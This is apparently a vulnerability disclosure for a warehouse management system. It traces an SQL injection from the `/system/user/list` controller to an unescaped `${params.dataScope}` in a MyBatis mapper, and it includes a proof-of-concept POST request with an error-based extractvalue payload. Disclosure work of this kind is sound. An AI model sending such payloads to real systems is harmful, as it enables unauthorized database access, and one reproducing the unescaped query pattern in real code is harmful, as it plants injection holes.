SQL injection vulnerability on /system/user/list

# Summary

In the latest version, a parameter passed to the endpoint `/system/user/list` are user-controllable and not sanitized, and no prepared statements are used when executing the final SQL query, resulting in a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive data from the database and even gain complete control of the server.

---

# Details

### taint analysis:

- wms-admin/src/main/java/com/deer/wms/admin/controller/system/SysUserController.java
```
@RequiresPermissions("system:user:list")
@PostMapping("/list")
@ResponseBody
public TableDataInfo list(SysUser user)
{
    startPage();
    List<SysUser> list = userService.selectUserList(user);
    return getDataTable(list);
}
```

- wms-system/src/main/resources/mapper/system/SysUserMapper.xml
```
<select id="selectUserList" parameterType="SysUser" resultMap="SysUserResult">
    select u.user_id, u.dept_id, u.login_name, u.user_name, u.email, u.phonenumber, u.password, u.sex, u.avatar, u.salt, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by, u.create_time, u.remark, d.dept_name from sys_user u
    left join sys_dept d on u.dept_id = d.dept_id
    where u.del_flag = '0'
    <if test="loginName != null and loginName != ''">
       AND u.login_name like concat('%', #{loginName}, '%')
    </if>
    <if test="status != null and status != ''">
       AND u.status = #{status}
    </if>
    <if test="phonenumber != null and phonenumber != ''">
       AND u.phonenumber like concat('%', #{phonenumber}, '%')
    </if>
    <if test="params.beginTime != null and params.beginTime != ''">
       AND date_format(u.create_time,'%y%m%d') &gt;= date_format(#{params.beginTime},'%y%m%d')
    </if>
    <if test="params.endTime != null and params.endTime != ''">
       AND date_format(u.create_time,'%y%m%d') &lt;= date_format(#{params.endTime},'%y%m%d')
    </if>
    <if test="deptId != null and deptId != 0">
       AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) ))
    </if>
    
    ${params.dataScope}
</select>
```

---

# POC
```
POST /system/user/list HTTP/1.1
Host: 127.0.0.1:7001
Cookie: JSESSIONID=5ffda3ab-8334-4505-8dc6-ed991f34df48
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

```

![输入图片说明](https://foruda.gitee.com/images/1752225531597597158/612e8c21_8279293.png "屏幕截图")
---

# Impact
https://portswigger.net/web-security/sql-injection#what-is-the-impact-of-a-successful-sql-injection-attack

---

wms仓库管理系统/立体仓库WMS

内容风险标识

评论 (0)

wms仓库管理系统/立体仓库WMS .gitee-modal { width: 500px !important; }

内容风险标识